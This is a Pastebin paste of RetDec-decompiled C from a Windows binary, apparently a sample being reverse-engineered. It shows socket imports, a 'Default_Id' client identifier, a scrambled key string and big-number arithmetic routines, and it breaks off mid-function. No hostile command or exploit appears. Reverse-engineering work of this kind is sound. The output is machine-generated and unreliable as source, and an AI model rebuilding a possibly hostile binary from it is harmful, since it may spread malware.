Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //
- // This file was generated by the Retargetable Decompiler
- // Website: https://retdec.com
- // Copyright (c) 2017 Retargetable Decompiler <[email protected]>
- //
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <stdbool.h>
- #include <stdint.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <time.h>
- #include <unistd.h>
- #include <wchar.h>
- #include <windows.h>
- // ------------------------ Structures ------------------------
- struct WSAData {
- int16_t e0;
- int16_t e1;
- int16_t e2;
- int16_t e3;
- char * e4;
- char e5[1];
- char e6[1];
- };
- struct _EXCEPTION_RECORD {
- int32_t e0;
- int32_t e1;
- struct _EXCEPTION_RECORD * e2;
- int32_t * e3;
- int32_t e4;
- int32_t e5[1];
- };
- struct _LARGE_INTEGER {
- int64_t e0;
- };
- struct _LIST_ENTRY {
- struct _LIST_ENTRY * e0;
- struct _LIST_ENTRY * e1;
- };
- struct _M128A {
- int64_t e0;
- int64_t e1;
- };
- struct _CONTEXT {
- int64_t e0;
- int64_t e1;
- int64_t e2;
- int64_t e3;
- int64_t e4;
- int64_t e5;
- int32_t e6;
- int32_t e7;
- int16_t e8;
- int16_t e9;
- int16_t e10;
- int16_t e11;
- int16_t e12;
- int16_t e13;
- int32_t e14;
- int64_t e15;
- int64_t e16;
- int64_t e17;
- int64_t e18;
- int64_t e19;
- int64_t e20;
- int64_t e21;
- int64_t e22;
- int64_t e23;
- int64_t e24;
- int64_t e25;
- int64_t e26;
- int64_t e27;
- int64_t e28;
- int64_t e29;
- int64_t e30;
- int64_t e31;
- int64_t e32;
- int64_t e33;
- int64_t e34;
- int64_t e35;
- int64_t e36;
- int64_t e37;
- int32_t e38;
- struct _M128A e39[26];
- int64_t e40;
- int64_t e41;
- int64_t e42;
- int64_t e43;
- int64_t e44;
- int64_t e45;
- };
- struct _RTL_CRITICAL_SECTION {
- struct _RTL_CRITICAL_SECTION_DEBUG * e0;
- int32_t e1;
- int32_t e2;
- int32_t * e3;
- int32_t * e4;
- int32_t e5;
- };
- struct _RTL_CRITICAL_SECTION_DEBUG {
- int16_t e0;
- int16_t e1;
- struct _RTL_CRITICAL_SECTION * e2;
- struct _LIST_ENTRY e3;
- int32_t e4;
- int32_t e5;
- int32_t e6;
- int16_t e7;
- int16_t e8;
- };
- struct _SECURITY_ATTRIBUTES {
- int32_t e0;
- int32_t * e1;
- bool e2;
- };
- struct hostent {
- char * e0;
- char ** e1;
- int16_t e2;
- int16_t e3;
- char ** e4;
- };
- struct in_addr {
- int32_t e0;
- };
- struct sockaddr {
- int16_t e0;
- char e1[14];
- };
- // ------------------- Function Prototypes --------------------
- int32_t __3f__3f_0CFile_40__40_QAE_40_PBDI_40_Z(int32_t a1);
- int32_t __3f__3f_1CFile_40__40_UAE_40_XZ(void);
- int32_t __3f__3f_2_40_YAPAXI_40_Z(int32_t a1);
- int32_t __3f__3f_3_40_YAXPAX_40_Z(int32_t a1);
- int32_t __3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_ABV10_40_PBD_40_Z(void);
- int32_t __3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_PBDABV10_40__40_Z(void);
- int32_t __3f_GetLength_40_CFile_40__40_UBEKXZ(void);
- int32_t __3f_Read_40_CFile_40__40_UAEIPAXI_40_Z(int32_t a1, int32_t a2);
- int32_t __3f_Seek_40_CFile_40__40_UAEJJI_40_Z(int32_t a1, int32_t a2);
- int32_t ___CxxFrameHandler(int32_t * pExcept, int32_t * pRN, int32_t * pContext, int32_t * pDC);
- int32_t (*___dllonexit(int32_t (*func)(), void (***pbegin)(), void (***pend)()))();
- int32_t __controlfp(int32_t NewValue, int32_t Mask);
- int32_t __except_handler3(struct _EXCEPTION_RECORD * exception_record, int32_t registration, struct _CONTEXT * context, int32_t dispatcher);
- void __initterm(void (**First)(), void (**Last)());
- int32_t __purecall(void);
- int32_t __XcptFilter(int32_t xcptnum, int32_t * pxcptinfoptrs);
- int32_t * _memcpy_1(int32_t * dest, int32_t * src, int32_t n);
- int32_t * _memset_2(int32_t * s, int32_t c, int32_t n);
- char * _strcat(char * dest, char * src);
- int32_t _strcmp(char * s1, char * s2);
- char * _strcpy(char * dest, char * src);
- int32_t _strlen(char * s);
- int32_t _WSACleanup(void);
- int32_t entry_point(void);
- int32_t function_401000(void);
- int32_t function_40100a(void);
- int32_t function_40103f(void);
- int32_t function_401069(void);
- int32_t function_401092(int32_t * a1, int32_t a2, int32_t a3, int32_t a4);
- int32_t function_401159(char * a1, int32_t a2, int32_t a3, int32_t a4);
- int32_t function_40120a(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6);
- int32_t function_401337(int32_t a1, int32_t * a2, int32_t a3, int32_t a4);
- int32_t function_40150e(int32_t * a1);
- int32_t function_40152e(int32_t * a1, int32_t a2, int32_t a3, int32_t a4);
- int32_t function_401652(void);
- int32_t function_401732(void);
- int32_t function_4017d5(char * a1, int32_t a2);
- int32_t function_4017e8(int32_t a1);
- int32_t function_4017fa(int32_t a1, int32_t a2);
- int32_t function_40181e(char * a1, int32_t a2);
- int32_t function_401863(int32_t a1, int32_t a2);
- int32_t function_4018b0(void);
- int32_t function_401967(void);
- int32_t function_4019d6(char a1);
- int32_t function_4019f2(int32_t a1);
- int32_t function_401a8b(char * str4, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
- int32_t function_401b5f(void);
- int32_t function_401bb6(void);
- int32_t function_402023(void);
- int32_t function_402167(void);
- int32_t function_4026a0(void);
- int32_t function_4026ae(void);
- int32_t function_4026da(int32_t result);
- int32_t function_4026e4(int32_t a1);
- int32_t function_402719(void);
- int32_t function_402756(void);
- int32_t function_402796(int32_t a1, char * a2);
- int32_t function_40283c(int32_t a1, int32_t a2);
- int32_t function_4028fa(int32_t a1, int32_t a2);
- int32_t function_402ad6(int32_t a1, int32_t a2);
- int32_t function_402b58(int32_t a1);
- int32_t function_402c52(void);
- int32_t function_402c6c(void);
- int32_t function_402cef(void);
- int32_t function_402d78(int32_t * a1, int32_t a2);
- int32_t function_402d95(void);
- int32_t function_402db4(void);
- int32_t function_402ddf(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
- int32_t function_402e17(int32_t a1, int32_t a2, int32_t a3);
- int32_t function_402e3b(void);
- int32_t function_402e67(char a1);
- int32_t function_402e83(int32_t a1);
- int32_t function_402edd(void);
- int32_t function_4030a1(void);
- int32_t function_4030cd(char a1);
- int32_t function_4030e9(int32_t a1);
- int32_t function_403152(void);
- int32_t function_4031bc(void);
- int32_t function_403220(int32_t * a1);
- int32_t function_40333d(int32_t * a1, int32_t a2, int32_t a3);
- int32_t function_4033ea(int32_t * a1);
- int32_t function_4034a7(int32_t * a1, int32_t a2);
- int32_t function_403521(int32_t * a1);
- int32_t function_40361e(int32_t * a1, int32_t a2);
- int32_t function_4036a9(int32_t * a1);
- int32_t function_403722(void);
- int32_t function_40376f(char a1);
- int32_t function_40378b(int32_t a1);
- int32_t function_403805(void);
- int32_t function_403a36(void);
- int32_t function_403a96(void);
- int32_t function_403ab9(int32_t * a1, int32_t a2, int32_t a3);
- int32_t function_403af1(void);
- int32_t function_403afb(void);
- int32_t function_403b21(void);
- int32_t function_403b37(void);
- int32_t function_403b41(void);
- int32_t function_403b67(void);
- int32_t function_403b7d(void);
- int32_t function_403b87(void);
- int32_t function_403b91(void);
- int32_t function_403ba7(int32_t a1, int32_t a2, int32_t a3);
- int32_t function_403bca(void);
- int32_t function_403fca(int32_t a1);
- int32_t function_404343(void);
- int32_t function_4043d3(int32_t a1, int32_t a2, int32_t a3);
- void function_40441e(struct _RTL_CRITICAL_SECTION * lpCriticalSection);
- int32_t function_40442f(void);
- int32_t function_404436(char a1);
- int32_t function_404453(void);
- int32_t function_40448c(void);
- int32_t function_40449c(void);
- int32_t function_4044a0(void);
- int32_t function_4044f1(void);
- int32_t function_404542(char a1);
- int32_t function_40455e(int32_t a1);
- int32_t function_4045b5(void);
- int32_t function_4045bf(void);
- int32_t function_4045d8(void);
- int32_t function_404602(void);
- int32_t function_404699(void);
- int32_t function_404715(void);
- int32_t function_404782(int32_t s);
- int32_t function_404791(void);
- int32_t function_4048c0(int32_t a1, int32_t a2);
- int32_t function_40497c(int32_t a1);
- int32_t function_404a98(int32_t a1);
- int32_t function_404ac4(int32_t a1);
- int32_t function_404b14(void);
- int32_t function_404b20(void);
- int32_t function_404b60(void);
- int32_t function_404ce8(void);
- void function_404cfc(int32_t Code);
- int32_t function_404d1a(void);
- int32_t function_404d2f(void);
- int32_t function_404d50(void);
- int32_t function_404dc5(void);
- int32_t function_404e35(void);
- int32_t function_404efe(void);
- int32_t function_405019(void);
- int32_t function_40504e(void);
- // --------------------- Global Variables ---------------------
- int32_t g1 = 0; // eax
- int32_t g2 = 0; // ebp
- int32_t g3 = 0; // ebx
- int32_t g4 = 0; // ecx
- int32_t g5 = 0; // edi
- int32_t g6 = 0; // edx
- int32_t g7 = 0; // esi
- int32_t g8 = 0; // esp
- int32_t g9 = 0x258033eb;
- int32_t g10 = 0x4019d6;
- int32_t g11 = 0x402e67;
- int32_t g12 = 0x4030cd;
- int32_t g13 = 0x40376f;
- int32_t g14 = 0x404542;
- int32_t g15 = 0x404436;
- char (*g16)[65] = "8&Uk(%j*rVQNyx@c8&Uk(%j*rVQNyx@h6&Uk(%j*rVQnyx@hy&Uk(%j*7VQNyx9h";
- int32_t g17 = -1;
- int32_t g18 = 1024;
- int32_t g19 = 22;
- int32_t g20 = 5;
- char g21[2] = "i";
- int32_t g22 = 104;
- int32_t g23 = 115;
- int32_t g24 = 47;
- int32_t g25 = 114;
- char g26[2] = ".";
- int32_t g27 = 1;
- char g28[2] = "@";
- char * g29;
- int32_t g30 = 0;
- int32_t g31 = 0;
- int64_t g32 = 0;
- int32_t g33 = 0;
- char * g34;
- int32_t g35 = 0;
- int32_t g36 = 0;
- char g37 = 0;
- char g38 = 0;
- int32_t g39 = 0;
- char * g40;
- int32_t g41 = 0;
- char * g42;
- int32_t g43 = 0;
- char * g44;
- struct _SECURITY_ATTRIBUTES * g45 = NULL;
- int32_t g46 = 0;
- int32_t g47 = 0;
- int32_t g48 = 0;
- int32_t g49 = 0;
- int32_t g50 = 0;
- char g51 = 0;
- int32_t g52 = 0;
- char * g53;
- int32_t g54 = 0;
- int32_t g55 = 0;
- int32_t g56 = 0;
- char * g57;
- char * g58;
- char * g59;
- char * g60;
- char * g61;
- struct WSAData * g62 = NULL;
- char * g63;
- void (***g64)() = NULL;
- void (***g65)() = NULL;
- // ------------------------ Functions -------------------------
- // Address range: 0x401000 - 0x401009
- int32_t function_401000(void) {
- // entry
- function_40100a();
- return function_40103f();
- }
- // Address range: 0x40100a - 0x40103e
- int32_t function_40100a(void) {
- // 0x40100a
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
- return _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)"Default_Id", strlen("Default_Id"));
- }
- // Address range: 0x40103f - 0x401068
- int32_t function_40103f(void) {
- // 0x40103f
- return function_404ac4(0x40104b);
- }
- // Address range: 0x401069 - 0x401091
- int32_t function_401069(void) {
- // 0x401069
- int32_t v1;
- int32_t * v2 = (int32_t *)v1; // 0x40106f
- int32_t result = *v2; // 0x401071
- // branch -> 0x401071
- while (true) {
- int32_t v3 = result - 1; // 0x401071
- if (v3 < 0) {
- // 0x40108c
- *v2 = result;
- return result;
- }
- // 0x401074
- int32_t v4;
- uint32_t v5 = *(int32_t *)(4 * v3 / 32 + v4); // 0x40107f
- uint32_t v6 = v3 & 31; // 0x401082
- int32_t v7 = v5; // 0x401087
- if (v6 != 0) {
- // bb
- v7 = v5 >> v6;
- // branch -> bb8
- }
- // bb8
- if ((v7 & 1) != 0) {
- // break -> 0x40108c
- break;
- }
- result = v3;
- // continue -> 0x401071
- }
- // 0x40108c
- *v2 = result;
- return result;
- }
- // Address range: 0x401092 - 0x401158
- int32_t function_401092(int32_t * a1, int32_t a2, int32_t a3, int32_t a4) {
- int32_t v1 = (int32_t)a1;
- g6 = a2;
- int32_t v2 = *(int32_t *)a2; // 0x40109f
- int32_t v3; // 0x4010f0
- int32_t v4; // 0x4010f0
- int32_t result; // 0x4010b9
- if (v2 > a4) {
- int32_t v5 = (a4 - 1) / 32; // 0x4010aa
- int32_t v6 = v5 + 1; // 0x4010ad
- int32_t v7 = a2; // 0x4010cd
- if (v5 < (v2 - 1) / 32) {
- // 0x4010b6
- result = 4 * v6 + a3;
- *(int32_t *)result = 0;
- int32_t v8 = v6 + 1; // 0x4010c1
- // branch -> 0x4010bc
- while (v8 <= (*(int32_t *)g6 - 1) / 32) {
- // 0x4010bc
- result += 4;
- *(int32_t *)result = 0;
- v8++;
- // continue -> 0x4010bc
- }
- // 0x4010cd
- v7 = g6;
- // branch -> 0x4010cd
- }
- // 0x4010cd
- v4 = v7;
- v3 = *(int32_t *)v7;
- // branch -> bb
- } else {
- int32_t v9 = (v2 - 1) / 32; // 0x4010d2
- int32_t v10 = v9 + 1; // 0x4010d5
- int32_t v11 = (a4 - 1) / 32; // 0x4010d7
- if (v9 < v11) {
- // 0x4010de
- _memset((char *)(4 * v10 + v1), 0, v11 - v10 + 1);
- v4 = g6;
- v3 = a4;
- // branch -> bb
- } else {
- v4 = a2;
- v3 = a4;
- }
- }
- int32_t v12 = v3 - 1; // 0x4010e8
- result = v12 / 32;
- *(int32_t *)v4 = v3;
- int32_t v13 = 0; // edi
- int32_t v14; // 0x401131
- if (v12 < -31) {
- // .dec_label_pc_401131_crit_edge
- v14 = 0;
- // branch -> 0x401131
- } else {
- int32_t v15 = a3; // ecx
- int32_t v16 = 0; // 0x40110e
- int32_t v17 = a3; // 0x401107
- int32_t v18 = result + 1;
- // branch -> 0x401104
- int32_t v19; // 0x40110e15
- while (true) {
- int32_t * v20 = (int32_t *)(v17 + v1 - a3); // 0x40110c
- int32_t v21 = *(int32_t *)v17 + v16 + *v20; // 0x40110e
- *v20 = v21;
- int32_t v22 = v15; // 0x401112
- uint32_t v23 = *(int32_t *)v22; // 0x401112
- int32_t v24;
- if (v21 >= v23) {
- // 0x401118
- if (v21 != v23 || v13 != 1) {
- // 0x40111f
- v24 = 0;
- v19 = 0;
- // branch -> 0x401126
- lab_0x401126:
- // 0x401126
- v13 = v24;
- int32_t v25 = v22 + 4; // 0x401126
- v15 = v25;
- int32_t v26 = v18 - 1; // 0x401129
- if (v26 == 0) {
- // break -> 0x40112e
- break;
- }
- v16 = v19;
- v17 = v25;
- v18 = v26;
- // continue -> 0x401104
- continue;
- }
- }
- // 0x401123
- v24 = 1;
- v19 = 1;
- // branch -> 0x401126
- goto lab_0x401126;
- }
- // 0x40112e
- v14 = v19;
- // branch -> 0x401131
- }
- // 0x401131
- *(int32_t *)(v1 + 4 + 4 * result) = v14;
- int32_t * v27 = (int32_t *)g6; // 0x401135
- int32_t v28 = *v27; // 0x401135
- int32_t v29 = v28; // 0x401151
- if (v28 >= 0) {
- // branch -> 0x40113b
- int32_t v30; // 0x40114e
- while (true) {
- int32_t v31 = *(int32_t *)(4 * v28 / 32 + v1) >> (v28 & 31); // 0x401148
- result = v31;
- int32_t v32 = v28; // 0x40115122
- if ((v31 & 1) == 0) {
- // 0x40114e
- v30 = v28 - 1;
- if (v30 < 0) {
- // break -> 0x401151
- break;
- }
- v28 = v30;
- // continue -> 0x40113b
- continue;
- }
- // 0x401151
- // branch -> 0x401151
- // 0x401151
- *v27 = v32 + 1;
- return result;
- }
- // 0x401151
- v29 = v30;
- // branch -> 0x401151
- }
- // 0x401151
- *v27 = v29 + 1;
- return result;
- }
- // Address range: 0x401159 - 0x401209
- int32_t function_401159(char * a1, int32_t a2, int32_t a3, int32_t a4) {
- int32_t v1 = g2; // 0x401159
- int32_t v2 = g5; // 0x401161
- int32_t * v3 = (int32_t *)a2; // 0x401162
- int32_t v4 = *v3; // 0x401162
- if (v4 < a4) {
- // 0x4011aa
- // branch -> 0x401205
- // 0x401205
- g5 = v2;
- g2 = v1;
- return 0;
- }
- int32_t v5 = v4 - 1; // 0x401169
- int32_t v6 = v5 / 32; // 0x40116c
- if (v5 < -31) {
- // 0x401196
- // branch -> bb
- // bb
- // branch -> 0x401202
- // 0x401202
- *v3 = 0;
- // branch -> 0x401205
- } else {
- int32_t v7 = (int32_t)a1; // 0x401177
- int32_t v8 = 4 * v6 + a3; // 0x40118d
- int32_t v9 = v6;
- // branch -> 0x40117f
- while (true) {
- uint32_t v10 = *(int32_t *)v8; // 0x40117f
- uint32_t v11 = *(int32_t *)(v8 + v7 - a3); // 0x401181
- if (v10 < v11) {
- int32_t v12 = 0; // edi
- int32_t v13 = v7; // edx
- int32_t v14 = v6 + 1; // ebx
- int32_t v15 = 0; // 0x4011c5
- int32_t v16 = v7; // 0x4011c9
- // branch -> 0x4011be
- while (true) {
- int32_t * v17 = (int32_t *)v16; // 0x4011be
- uint32_t v18 = *v17; // 0x4011be
- uint32_t v19 = v18 - *(int32_t *)(v16 + a3 - v7) - v15; // 0x4011c5
- *v17 = v19;
- int32_t v20;
- int32_t v21; // 0x4011c521
- if (v19 <= v18) {
- // 0x4011cd
- if (v19 != v18 || v12 != 1) {
- // 0x4011d4
- v20 = 0;
- v21 = 0;
- // branch -> 0x4011db
- lab_0x4011db:
- // 0x4011db
- v12 = v20;
- int32_t v22 = v13 + 4; // 0x4011db
- v13 = v22;
- int32_t v23 = v14 - 1; // 0x4011de
- v14 = v23;
- if (v23 == 0) {
- int32_t v24 = *v3; // 0x4011e6
- // branch -> 0x4011e6
- while (true) {
- int32_t v25 = v24 - 1; // 0x4011e6
- if (v25 >= 0) {
- int32_t v26 = *(int32_t *)(4 * v25 / 32 + v7); // 0x4011f3
- uint32_t v27 = v25 & 31; // 0x4011f6
- int32_t v28 = v26; // 0x4011fb
- if (v27 != 0) {
- // bb38
- v28 = v26 >> v27;
- // branch -> bb39
- }
- // bb39
- if ((v28 & 1) != 0) {
- // break -> 0x4011ff
- break;
- }
- v24 = v25;
- // continue -> 0x4011e6
- continue;
- }
- // 0x4011ff
- // branch -> 0x401202
- // 0x401202
- *v3 = v24;
- // branch -> 0x401205
- // 0x401205
- g5 = v2;
- g2 = v1;
- return 1;
- }
- // 0x4011ff
- // branch -> 0x401202
- // 0x401202
- *v3 = v24;
- // branch -> 0x401205
- // 0x401205
- g5 = v2;
- g2 = v1;
- return 1;
- }
- // 0x4011db
- v15 = v21;
- v16 = v22;
- // branch -> 0x4011be
- continue;
- }
- }
- // 0x4011d8
- v20 = 1;
- v21 = 1;
- // branch -> 0x4011db
- goto lab_0x4011db;
- }
- } else {
- // 0x401188
- if (v10 > v11) {
- // 0x4011aa
- // branch -> 0x4011aa
- // 0x4011aa
- // branch -> 0x401205
- // 0x401205
- g5 = v2;
- g2 = v1;
- return 0;
- }
- int32_t v29 = v9 - 1; // 0x40118a
- if (v29 < 0) {
- // break -> 0x40119a
- break;
- }
- v8 -= 4;
- v9 = v29;
- // continue -> 0x40117f
- continue;
- }
- }
- // 0x40119a
- _memset(a1, 0, v6 + 1);
- // branch -> bb
- // bb
- // branch -> 0x401202
- // 0x401202
- *v3 = 0;
- // branch -> 0x401205
- }
- // 0x401205
- g5 = v2;
- g2 = v1;
- return 1;
- }
- // Address range: 0x40120a - 0x401336
- int32_t function_40120a(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) {
- int32_t v1 = (int32_t)a1;
- int32_t v2; // bp-1648
- int32_t v3 = &v2; // 0x40120d
- v2 = 0;
- int32_t v4 = g5; // 0x40121b
- int32_t v5 = 0; // bp-1644
- g6 = a2;
- _memset((char *)&v5, 0, 399);
- int32_t v6 = a4 - 1; // 0x401234
- int32_t v7; // eax
- int32_t v8; // 0x401303
- int32_t v9; // 0x40132f
- int32_t * v10; // 0x4012df
- int32_t result2; // 0x40130d
- int32_t v11; // 0x401324
- int32_t result; // 0x401328
- int32_t v12; // 0x4012e4
- if (v6 >= 0xffffffe1) {
- int32_t v13 = (*(int32_t *)g6 - 1) / 32; // 0x40124d
- int32_t v14 = v3; // esi
- int32_t v15 = v13; // 0x401276
- int32_t v16 = v3; // 0x401262
- int32_t v17 = 0;
- // branch -> 0x401262
- while (true) {
- int32_t v18 = 0; // 0x4012c9
- int32_t v19 = 0; // 0x4012c1
- if (v15 >= 0) {
- int32_t v20 = v15 + 1; // 0x401276
- int32_t v21 = v20;
- int32_t v22 = v1;
- int32_t v23 = __allmul((int64_t)*(int32_t *)v22, 0); // 0x40128c
- int32_t * v24 = (int32_t *)v14; // 0x401291
- int32_t v25 = *v24 + v23; // 0x401295
- int32_t v26 = g6 + (int32_t)(v25 < v23); // 0x401297
- g6 = v26;
- uint32_t v27 = 0; // 0x401299
- uint32_t v28 = v27 + v25; // 0x401299
- int32_t v29 = v26 + (int32_t)(v28 < v27); // 0x40129b
- *v24 = v28;
- v14 += 4;
- // branch -> 0x401280
- while (v21 != 1) {
- // 0x401280
- v21--;
- v22 += 4;
- v23 = __allmul((int64_t)*(int32_t *)v22, 0);
- v24 = (int32_t *)v14;
- v25 = *v24 + v23;
- v26 = g6 + (int32_t)(v25 < v23);
- g6 = v26;
- v27 = v29;
- v28 = v27 + v25;
- v29 = v26 + (int32_t)(v28 < v27);
- *v24 = v28;
- v14 += 4;
- // continue -> 0x401280
- }
- // 0x4012b2
- g6 = a2;
- v18 = v29;
- v19 = v20;
- // branch -> 0x4012be
- }
- int32_t v30 = v17 + 1; // 0x4012c3
- *(int32_t *)(4 * (v19 + v17) - 1644 + g2) = v18;
- int32_t v31 = v16 + 4; // 0x4012d3
- v14 = v31;
- if (v30 > v6 / 32) {
- // 0x4012de
- // branch -> 0x4012df
- // 0x4012df
- v10 = (int32_t *)g6;
- v12 = *v10 + v6;
- int32_t v32 = v12; // 0x401306
- if (v12 >= 0) {
- // 0x4012ec
- v8 = v12;
- // branch -> 0x4012ec
- int32_t v33; // 0x401303
- while (true) {
- // 0x4012ec
- if ((*(int32_t *)(g2 - 1644 + 4 * v8 / 32) >> (v8 & 31) & 1) == 0) {
- lab_0x401303:
- // 0x401303
- v33 = v8 - 1;
- if (v33 < 0) {
- // break -> 0x401306
- break;
- }
- v8 = v33;
- // continue -> 0x4012ec
- continue;
- }
- // 0x401306
- // branch -> 0x401306
- }
- // 0x401306
- v32 = v33;
- // branch -> 0x401306
- }
- // 0x401306
- *v10 = v32 + 1;
- result2 = *(int32_t *)g6 - 1;
- if (result2 >= 0) {
- // 0x401315
- v7 = v1;
- int32_t v34 = 0; // 0x401323
- v11 = v1;
- // branch -> 0x401320
- while (true) {
- // 0x401320
- *(int32_t *)v11 = *(int32_t *)(v3 - v1 + v11);
- result = v7 + 4;
- v7 = result;
- v9 = v34 + 1;
- if (v9 > (*(int32_t *)g6 - 1) / 32) {
- // 0x401333
- // branch -> 0x401333
- // 0x401333
- g5 = v4;
- return result;
- }
- lab_0x401320:
- // 0x401320
- v34 = v9;
- v11 = result;
- // branch -> 0x401320
- }
- }
- // 0x401333
- g5 = v4;
- return result2;
- }
- // 0x4012be
- v15 = v13;
- v16 = v31;
- v17 = v30;
- // branch -> 0x401262
- }
- }
- // 0x4012df
- v10 = (int32_t *)g6;
- v12 = *v10 + v6;
- if (v12 >= 0) {
- // 0x4012ec
- v8 = v12;
- // branch -> 0x4012ec
- while (true) {
- // 0x4012ec
- if ((*(int32_t *)(g2 - 1644 + 4 * v8 / 32) >> (v8 & 31) & 1) == 0) {
- goto lab_0x401303;
- }
- // 0x401306
- // branch -> 0x401306
- }
- }
- // 0x401306
- *v10 = v12 + 1;
- result2 = *(int32_t *)g6 - 1;
- if (result2 >= 0) {
- // 0x401315
- v11 = v1;
- // branch -> 0x401320
- while (true) {
- // 0x401320
- *(int32_t *)v11 = *(int32_t *)(v3 - v1 + v11);
- result = v1 + 4;
- v7 = result;
- v9 = 1;
- if (v9 <= (*(int32_t *)g6 - 1) / 32) {
- goto lab_0x401320;
- }
- // 0x401333
- // branch -> 0x401333
- // 0x401333
- g5 = v4;
- return result;
- }
- }
- // 0x401333
- g5 = v4;
- return result2;
- }
- // Address range: 0x401337 - 0x40150d
- int32_t function_401337(int32_t a1, int32_t * a2, int32_t a3, int32_t a4) {
- int32_t v1 = (int32_t)a2;
- int32_t v2 = g7; // 0x40134a
- g7 = v1;
- int32_t v3 = 0; // bp-812
- _memset((char *)&v3, 0, 199);
- int32_t v4 = *(int32_t *)g7; // 0x40135e
- int32_t v5 = v4 - a4; // 0x401360
- if (v4 < a4) {
- // 0x40150a
- g7 = v2;
- return 0;
- }
- int32_t v6 = a4 - 1; // 0x40136d
- int32_t v7 = v6 / 32; // 0x401373
- g3 = a3;
- int32_t v8 = (v4 - 1) / 32; // 0x40137a
- uint32_t v9 = v8 - v7; // 0x40137d
- int32_t v10 = v6; // 0x4013b6
- if (v9 >= 1) {
- int32_t v11 = a3; // 0x4013b0
- if (v6 >= -31) {
- int32_t v12 = 4 * v8 + a3; // 0x401391
- int32_t v13 = 4 * v7 + a3;
- *(int32_t *)v12 = *(int32_t *)v13;
- int32_t v14 = v7; // 0x4013a5
- // branch -> 0x401397
- while (v14 != 0) {
- // 0x401397
- v12 -= 4;
- v13 -= 4;
- *(int32_t *)v12 = *(int32_t *)v13;
- v14--;
- // continue -> 0x401397
- }
- // 0x4013ae
- v11 = g3;
- // branch -> 0x4013ae
- }
- // 0x4013ae
- _memset((char *)v11, 0, v9);
- v10 = v6;
- // branch -> bb
- }
- int32_t v15 = *(int32_t *)g7 - 1; // 0x4013b9
- int32_t v16 = (v15 & 31) - (v10 & 31); // 0x4013c1
- int32_t v17; // edx
- int32_t v18;
- int32_t v19;
- int32_t v20;
- int32_t v21; // 0x40140f
- int32_t v22; // 0x40142a
- int32_t v23; // 0x40143e
- int32_t v24; // 0x401465
- int32_t v25; // 0x401504
- int32_t v26; // 0x401415
- int32_t * v27; // 0x401435
- int32_t v28; // 0x401443
- int32_t v29; // 0x401494
- int32_t * v30; // 0x4014e7
- int32_t v31; // 0x4014ec
- int32_t result; // 0x401507
- int32_t v32; // 0x401435
- int32_t v33; // 0x401437
- int32_t v34; // 0x40143c
- int32_t v35; // 0x401465
- int32_t v36; // 0x40142f
- int32_t v37; // 0x401499
- int32_t * v38; // 0x40145c
- char * v39; // 0x401489
- int32_t v40; // 0x401489
- int32_t v41;
- if (v16 >= 1) {
- int32_t v42 = v15 / 32; // 0x4013c7
- int32_t * v43; // 0x401409
- uint32_t v44;
- if (v15 < 32) {
- // 0x4013c7
- v44 = v15 - v10 & 31;
- // branch -> 0x401407
- } else {
- uint32_t v45 = -v16 & 31; // 0x4013ef
- int32_t v46 = v15 - v10 & 31; // 0x4013f3
- int32_t v47 = g3 + 4 * v42;
- // branch -> 0x4013e1
- while (true) {
- int32_t v48 = v47 - 4; // 0x4013e1
- int32_t v49 = *(int32_t *)v48; // 0x4013e1
- int32_t * v50 = (int32_t *)v47; // 0x4013e7
- int32_t v51 = *v50; // 0x4013e7
- int32_t v52 = v49; // 0x4013f8
- if (v45 != 0) {
- // bb77
- v52 = v49 >> v45;
- // branch -> bb78
- }
- int32_t v53 = v51; // 0x4013f8
- if (v46 != 0) {
- // bb79
- v53 = v51 << v46;
- // branch -> bb80
- }
- int32_t v54 = v42 - 1; // 0x4013fd
- *v50 = v53 | v52;
- if (v54 == 0) {
- // 0x401407
- v44 = v46;
- // branch -> 0x401407
- // 0x401407
- v43 = (int32_t *)g3;
- if (v44 != 0) {
- // bb81
- *v43 = *v43 << v44;
- // branch -> bb82
- }
- // bb82
- // branch -> 0x40140d
- // 0x40140d
- if (v16 < 0) {
- // 0x40140f
- v21 = g7;
- v26 = -v16;
- if ((*(int32_t *)v21 - 1 & -32) < 1) {
- // 0x40140f
- v41 = v26 & 31;
- // branch -> 0x401453
- } else {
- // 0x401423
- v22 = g3;
- v17 = v22;
- v33 = v15 - v10 & 31;
- v34 = v26 & 31;
- v28 = v22;
- v19 = 0;
- // branch -> 0x40142f
- int32_t v55; // 0x401445
- while (true) {
- // 0x40142f
- v36 = *(int32_t *)(v28 + 4);
- v27 = (int32_t *)v28;
- v32 = *v27;
- v23 = v36;
- if (v33 != 0) {
- lab_bb84:
- // bb84
- v23 = v36 << v33;
- // branch -> bb85
- }
- lab_bb85:;
- int32_t v56 = v32; // 0x40143e
- if (v34 != 0) {
- // bb86
- v56 = v32 >> v34;
- // branch -> bb87
- }
- int32_t v57 = v19 + 1; // 0x401440
- *v27 = v56 | v23;
- v55 = g7;
- int32_t v58 = v17 + 4; // 0x401447
- v17 = v58;
- if (v57 >= (*(int32_t *)v55 - 1) / 32) {
- // break -> 0x401453
- break;
- }
- v28 = v58;
- v19 = v57;
- // continue -> 0x40142f
- }
- // 0x401453
- v41 = v34;
- v21 = v55;
- // branch -> 0x401453
- }
- // 0x401453
- v38 = (int32_t *)(g3 + 4 * (*(int32_t *)v21 - 1) / 32);
- if (v41 != 0) {
- // bb88
- *v38 = *v38 >> v41;
- // branch -> bb89
- }
- // bb89
- // branch -> 0x401462
- }
- // 0x401462
- v24 = g7;
- v35 = *(int32_t *)v24;
- g5 = v35;
